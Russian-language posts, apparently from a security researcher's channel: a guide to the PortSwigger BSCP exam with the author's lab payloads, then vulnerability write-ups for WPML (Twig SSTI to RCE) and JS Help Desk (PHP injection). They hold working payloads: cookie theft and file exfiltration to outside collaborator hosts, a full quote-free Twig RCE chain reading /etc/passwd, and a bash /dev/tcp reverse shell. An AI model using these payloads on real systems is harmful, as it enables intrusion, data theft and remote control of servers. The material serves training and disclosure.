Меня зовут Владимир и я старший исследователь веб-уязвимостей.
На днях я успешно сдал сертификацию от PortSwigger BSCP (Burp Suite Certified Practitioner) и хочу поделиться своим опытом и советами, а также разобрать что вообще встречается на экзамене.

В данной статье будет разобран сам экзамен и его пробные версии, список тем и обзор лаб в PortSwigger Academy и так уже есть везде, где только можно, так что эти темы затронуты не будут.

Пробные экзамены

Перед сдачей PortSwigger настоятельно рекомендуют прорешать, как минимум, один пробный экзамен, который состоит из одного уязвимого приложения, где необходимо получить первичный доступ, повыситься до админа, а потом стянуть с защищаемой машины флаг, на всё про всё вам даётся 2 часа. Всего таких экзаменов два, то есть 2 пробных экзамена равносильны одному настоящему, где вам выдается 2 сервиса на 4 часа.

В целом, пробные экзамены вещь полезная и они действительно забросят вас в максимально похожие на экзамен условия, но есть одно НО. Оба экзамена представляют собой, фактически, один и тот же вектор: XSS -> SQL Injection -> Insecure Deserialization. Разница лишь в XSS'ке и техниках обфускации, после получения первичного доступа уязвимости не то, что идентичны, они одинаковые. Относительно десера, мне он не встретился нигде, тем более с таким странным чейном, как в пробном экзамене.

Впечатление от пробных экзаменов как от проверки скиллов - не очень, так как они содержат довольно посредственные уязвимости, которые не позволяют объективно оценить уровень своей подготовки. Если рассматривать их как знакомство с форматом проведения самого экзамена, то вполне ничего.

Экзамен

Формат

Как я уже упоминал ранее, экзамен представляет собой 2 уязвимых веб-приложения, в каждом из которых есть 3 уязвимости, на всё это вам даётся 4 часа. Экзамен имеет формат openbook, разрешено всё, до чего вы можете добраться в Интернете: решения, пэйлоады, LLM и прочее, но сдается с автоматическим прокторингом, где записывается звук, ваше видео и экран. Также стоит отметить, что у экзамена не балльная система, а два состояния: решил обе машины - "сдал" или же что-то не решил и "не сдал".
Стоит принять тот факт, что скорее всего вы не сдадите экзамен с первой попытки и, к сожалению, это естественно. 4 часа - это мало, действительно очень мало. После решения пробных экзаменов может показаться, что полностью пробить одно приложение за 2 часа проще простого, но это не так.
Реальный экзамен сложнее, чем вы думаете. XSS в base64 на пробном экзамене - это не XSS через Web Cache Poisoning, не DOM based и уж тем более не CL.TE HTTP request smuggling в качестве уязвимости для получения первичного доступа.

Уязвимости

В сети есть таблицы встречающихся на экзамене уязвимостей, например такая:

Да, бытуют легенды, что на экзамене правда может встретиться Clickjacking, тем не менее, я молился и за остальных молюсь, чтобы это было не правдой.
В действительности большинство уязвимостей, встречающихся на экзамене - это что-то привычное. Почти 100% вам попадётся SQL инъекция для повышения до администратора, а также XSS или Access Control Vulnerabilities, в виде брутфорса для первичного доступа.

Уязвимости, с которыми встречался я в процессе сдачи экзамена:

Initial Access

• Brute force
• Web cache poisoning
• XSS
• CL.TE HTTP request smuggling

Root Access

• SQL Injection
• CSRF
• Access Control Vulnerabilities (брутфорс параметра RoleID)

File listing

• SSTI
• Path Traversal
• XXE
• OS Command Injection

Как я сдавал

В этом разделе я просто предоставлю рабочие пэйлоады, которые я писал в рамках экзамена:

Web cache poisoning
Домашняя страница позволяет при помощи заголовка X-Forwarded-Host: exploit-server.net изменить ссылку загружаемого скрипта /resources/js/tracking.js:
На exploit-server.net создаём файл /resources/js/tracking.js с содержимым:

document.location='https://d1fueh5142jhajkc88hr0jmmqdw9kz8o.oastify.com/?cookies='+document.cookie;

XSS

<script>
location = "https://app1.web-security-academy.net/?query=%3C%2FScRiPt+%3E%3Cimg+src%3Da+onerror%3Ddocument.location%3D%22https%3A%2F%2Fcollaborator.oastify.com%2F%3Fc%3D%22%2Bdocument.cookie%3E"
</script>

CL.TE HTTP request smuggling
GET запрос в корень переделываем в POST с версией HTTP/1.1, далее натравливаем на него HTTP Request Smuggler для обнаружения уязвимости, после этого обнаруженную уязвимость во вкладке Dashboard эксплуатируем через тот же самый Smuggler.
Пэйлоад будет выглядеть так:

prefix = '''POST /post/comment HTTP/1.1
Host: app1.web-security-academy.net
Cookie: session=Bf7h0Scdp6DiQ4QxTpZok3z1m2jkoucb;
Content-Length: 1500

csrf=IKFV7IlL0ylgZZdyDIfJuwSyb7XRfzD6&userAgent=&postId=9&name=123&email=123@gmail.com&website=&comment=X'''

SQL Injection
Все инъекции в рамках экзамена спокойно эксплуатируются при помощи sqlmap. Пример:

sqlmap -u 'https://app1.web-security-academy.net/search-advanced?query=anime&sort=AUTHOR&blogArtist=' -H 'Cookie: session=7xx8WDmGHuqVTxVhgjJrVg7IUfcDlu9Q' -p 'query' -batch --level 5

и далее вытягиваем БД, таблицы и дампим нужную, как правило, это БД public и таблица users.

CSRF
На экзамене не встречается уязвимостей с CSRF токеном, не привязанным к сессии, поэтому в качестве явного признака CSRF можно спокойно использовать факт возможности отправки запроса без CSRF токена.
С пэйлоадами же отлично справляются Burp Engagement Tools с их генератором CSRF PoC'ов:

<html>
  <!— CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://app1.web-security-academy.net/account/update_email" method="POST">
      <input type="hidden" name="email" value="attacker&#64;exploit-unique-domain&#46;exploit-server&#46;net" />
      <input type="hidden" name="form&#45;id" value="Yb5Gau" />
      <meta name="referrer" content="no-referrer">
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Access Control Vulnerabilities (RoleID brute force)
У нас есть возможность передачи параметра roleid с числовым значением в запросе, так что мы просто брутим его пока не найдем roleid администратора:

POST /account/update-email HTTP/2
Host: app1.web-security-academy.net
Cookie: session=9jBZklpji4ABP2mau9ry7NedYOog3swt
Content-Length: 81

{"csrf":"XvKEKiqkpM1gP22vBSZf0A8nWXpuUy6h","email":"kek@meme.ru",
 "roleid": 89}

SSTI
У администратора есть возможность изменения шаблона письма для восстановления пароля, поэтому эксплуатируем SSTI:

POST /admin-controls/update-reset-email HTTP/2
Host: app1.web-security-academy.net
Cookie: session=k81F3ZGz7bnLPJqrC4vPDeU29is2HNDQ
Content-Type: application/x-www-form-urlencoded
Content-Length: 127

newEmail={{+''.__class__.__mro__[2].__subclasses__()[40]('/home/carlos/secret').read()+}}&csrf=Mlu6yKKguv5gd7z08izT34zokRkcjjej

Path Traversal
Тут все просто, вместо картинки обращаемся к файлу с обфускацией через double URL-encode:

GET /admin_controls/metrics/admin_image?file_name=%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fhome%252fcarlos%252f%2573ecret HTTP/2

XXE
Тут мне попадался и Blind XXE через внешний DTD, и обычный Blind подобного формата:

<?xml version="1.0" encoding="UTF-8"?>
<users>
    <user>
        <username>njnjn</username>
        <email>`nslookup -q=cname $(cat /home/carlos/secret).collaborator.oastify.com`</email>
    </user>
</users>

OS Command Injection
Тут можно было передать команду в GET-параметр image_size:

GET /admin-panel/metrics/adminimg?picture=6&image_size=%221|curl+--data+%40/home/carlos/secret+collaborator.oastify.com%26" HTTP/2

Советы

Как я говорил ранее, 4 часа - это очень мало, так что заранее рекомендую вам установить и научиться пользоваться всеми необходимыми расширениями, такими как:

• Java Deserialization Scanner
• Hackvertor
• HTTP Request Smuggler
• Turbo Intruder
• JWT Editor
• JSON Web Tokens
• Param Miner
• Collaborator Everywhere (опционально)

Из дополнительного софта вам потребуется ysoserial и настоятельно рекомендую sqlmap, который позволит вам сэкономить кучу драгоценного времени.

Весь экзамен проходит по вектору Initial access -> Root -> File, помните это и ищите уязвимости только в новом функционале на каждом этапе.

Полезные ссылки

Хинты и примеры решений:
https://habr.com/ru/articles/873672
https://telegra.ph/BSCP-step-Three-08-02
https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study
https://github.com/DingyShark/BurpSuiteCertifiedPractitioner
https://bscpcheatsheet.gitbook.io/exam#useful-solved-labs-1

Шпаргалка по XSS с тэгами, событиями и примерами эксплойтов:
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

Словарь пользователей:
https://portswigger.net/web-security/authentication/auth-lab-usernames

Словарь паролей:
https://portswigger.net/web-security/authentication/auth-lab-passwords

ЗАБУДЬТЕ О СУЩЕСТВОВАНИИ rockyou.txt И ПРОЧИХ СЛОВАРЕЙ НА ВРЕМЯ ЭКЗАМЕНА.
В рамках экзамена весь брут укладывается в эти словари.

Алгоритм тестирования

Самое тяжелое на экзамене - получить первичный доступ.
Для себя я выработал следующий путь:
1) Добавляем в Scope домены приложений и их поддомены.
2) Сразу на оба приложения травим Intruder с брутом аутентификации.
3) Пока работает Intruder, при наличии поиска пытаемся кинуть пару стандартных пэйлоадов для XSS, при отсутствии поиска смотрим главную страницу на наличие кэширования или на наличие DOM sink'ов, также смотрим сами посты на наличие возможности отправки комментариев и уязвимостей в них.
4) В большинстве случаев этот пункт вам уже не понадобится, так как Initial access зачастую получается либо брутом, либо через главную страницу. Тем не менее, на экзамене распространен Password reset poisoning via middleware, например отправка ссылки на сброс пароля на Collaborator через X-Forwarded-Host.
Описанные действия помогут в первые полчаса либо получить первичный доступ, либо хотя бы точно понять вектор атаки.

Напоследок, не забывайте об обфускации, зачастую plain text эксплойты у вас не заведутся и заставят вас посидеть над обфускацией.

Заключение

После решения двух машин вас попросят загрузить .zip архив с вашим Burp проектом и возьмут некоторое время на проверку. В течение 1-2 суток вам придет заветное письмо с сертификатом.

В целом, экзамен, а главное подготовка к нему действительно учат и помогают обрести более фундаментальные навыки анализа защищенности веб-приложений.

Благодарю вас за прочтение статьи и успехов в получении сертификата!

Статья написана для: @iamargendo

RCE via Twig SSTI in WPML

CVSS Score: 9.9
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

PoC

github.com/argendo/CVE-2024-6386

Описание

SSTI в плагине WPML, предназначенном для создания и управления многоязычными сайтами на базе WordPress.

Патчи

В версии плагина 4.6.13 и выше уязвимость полностью закрыта.

Стенд

Деплоим тестовое приложение на WordPress и накатываем туда уязвимую версию плагина, например, 4.6.7.

Получаем одностраничник на WP:

Теория

У плагина есть возможность интеграции с WordPress Shortcodes.

Шорткоды нужны для выполнения различных макросов внутри постов WP, например, через них можно добавлять картинкам описание:

В случае плагина у нас есть возможность использования шорткода [wpml_language_switcher], он позволяет отображать селектор выбора языка на странице.

Если посмотреть исходники, а именно файл class-wpml-ls-public-api.php, то можно заметить, что функция render обрабатывает этот шорткод как Twig-шаблон:

Атака

SSTI

Раз функция обрабатывает входные данные как Twig-шаблон мы можем попробовать осуществить инъекцию шаблонов:

При рендере подобного поста наша инъекция обработается шаблонизатором и мы получим желаемый результат:

RCE

Несмотря на то, что мы добились SSTI, типичные инъекции для Twig-шаблонов, например, {{['id']|filter('system')}} здесь не применимы так, как WordPress кодирует любые кавычки в HTML.

То есть при выполнении:

Мы просто ничего не получим:

Тем не менее мы можем обойти ограничение на использование кавычек через передачу в шаблон переменной.

Поскольку определить строковую переменную мы не сможем, так как для этого тоже нужны кавычки, будем "нарезать" нужные нам символы из того, что есть.
Для того, чтобы что-то "нарезать", нужно, чтобы было из чего нарезать, то есть какая-то переменная, которая отдаёт текст при обращении к ней.

В самом плагине есть несколько встроенных переменных, к которым мы можем обратиться из контекста, в котором выполняется наш шорткод:

• languages
• current_language_code
• css_classes
• css_classes_link

При обращении к ним мы получим следующий результат:

Нас в данном случае интересуют только переменные languages и css_classes.
При этом, стоит отметить, что languages является массивом и при обращении к нему возвращает не строку, а объект, но об этом позже.

Из всего вышеперечисленного мы можем начать собирать наш словарь.

Например, при помощи:

{% set s = css_classes|slice(6,1) %}

мы можем получить переменную s, равную строке 's'.

Для получения же буквы y нам потребуется обратиться к переменной languages, но поскольку она возвращает объект нам необходимо преобразовать его в строку при помощи фильтра join и только потом отрезать нужную нам букву.
То есть для получения y нужно сделать следующее:
{% set y = languages|join|slice(4,1) %}

Формирование необходимого словаря для выполнения минимального списка команд ОС будет выглядеть так:

{% set sp = css_classes|slice(33,1) %}
{% set a = css_classes|slice(10,1) %}
{% set c = css_classes|slice(13,1) %}
{% set i = css_classes|slice(12,1) %}
{% set d = css_classes|slice(23,1) %}
{% set s = css_classes|slice(6,1) %}
{% set y = languages|join|slice(4,1) %}
{% set t = css_classes|slice(9,1) %}
{% set e = css_classes|slice(24,1) %}
{% set m = css_classes|slice(2,1) %}
{% set p = css_classes|slice(1,1) %}
{% set w = css_classes|slice(0,1) %}

Далее нам остаётся лишь сформировать список интересующих нас команд конкатенацией наших переменных-букв:

{% set system = s~y~s~t~e~m %}
{% set pwd = p~w~d %}
{% set id = i~d %}
{% set cat = c~a~t %}
{% set sl = [pwd]|map(system)|join|slice(0,1) %}
{% set passwd = c~a~t~sp~sl~e~t~c~sl~p~a~s~s~w~d %}

Сам же RCE с учетом выше обозначенных переменных можно сделать избегая использования кавычек при помощи команды: {{[id]|map(system)|join}}

В результате исполнения которого мы получим:

Payload

Итоговый payload для выполнения команд id, pwd и cat /etc/passwd будет выглядеть так:

[wpml_language_switcher]
{% set sp = css_classes|slice(33,1) %}
{% set a = css_classes|slice(10,1) %}
{% set c = css_classes|slice(13,1) %}
{% set i = css_classes|slice(12,1) %}
{% set d = css_classes|slice(23,1) %}
{% set s = css_classes|slice(6,1) %}
{% set y = languages|join|slice(4,1) %}
{% set t = css_classes|slice(9,1) %}
{% set e = css_classes|slice(24,1) %}
{% set m = css_classes|slice(2,1) %}
{% set p = css_classes|slice(1,1) %}
{% set w = css_classes|slice(0,1) %}
{% set system = s~y~s~t~e~m %}
{% set pwd = p~w~d %}
{% set id = i~d %}
{% set cat = c~a~t %}
{% set sl = [pwd]|map(system)|join|slice(0,1) %}
{% set passwd = c~a~t~sp~sl~e~t~c~sl~p~a~s~s~w~d %}
{{[id]|map(system)|join}}
{{[pwd]|map(system)|join}}
{{[passwd]|map(system)|join}}
[/wpml_language_switcher]

Статья написана для: @iamargendo

PHP Injection in JS Help Desk (WordPress Plugin)

CVSS Score: 9.8

Описание

PHP-инъекция в плагине JS Help Desk, предназначенном для организации системы техподдержки на сайтах на базе WordPress.

Патчи

В версии 2.8.6 закрыта частично, в версиях 2.8.7 и выше закрыта полностью.

Стенд

Деплоим тестовое приложение на WordPress и накатываем туда уязвимую версию плагина, например, 2.7.7.

Получаем одностраничник на WP:

Атака

У плагина есть множество всяких ручек, позволяющих его настраивать и всячески кастомизировать, одна из них позволяет нам регулировать цвета и менять темы нашего окна тикетов:

Разумеется нас здесь интересует возможность выбора цвета и передачи его в hex формате.

Отправляем форму и смотрим запрос через Burp:

Теперь кинем запрос с попыткой эксплуатации php кода:

Получаем 200 код ответа и наш текст на главной:

Ну а дальше, кидаем reverse shell в один из параметров color:

".shell_exec('bash -c \'bash -i >& /dev/tcp/IP/PORT 0>&1\'')."

Почему?

Для простоты я диффал версии 2.8.5 и 2.8.7.

2.8.5

Итак, в версии 2.8.5 в файле /modules/themes/controller.php есть функция savetheme():

Как видим, она вызывает функцию storeTheme() из файла model.php в той же директории, storeTheme() представляет собой следующее:

То есть, фактически, она забирает сырые данные, никак их не проверяя, и кладёт их в includes/css/style.php, за счёт чего, мы получаем в нём примерно следующее:

что и позволяет нам выполнить произвольный код.

Ещё там есть функция getCurrentTheme(), которая отвечает за подгрузку данных уже имеющейся теме, которая тоже просто дёргает сырые данные из файла при каждом обращении к плагину:

2.8.7

В storeTheme() просто добавили санитизацию...

Ну и значения, получаемые через getCurrentTheme() дополнительно обернули в esc_attr().

Статья написана для: @iamargendo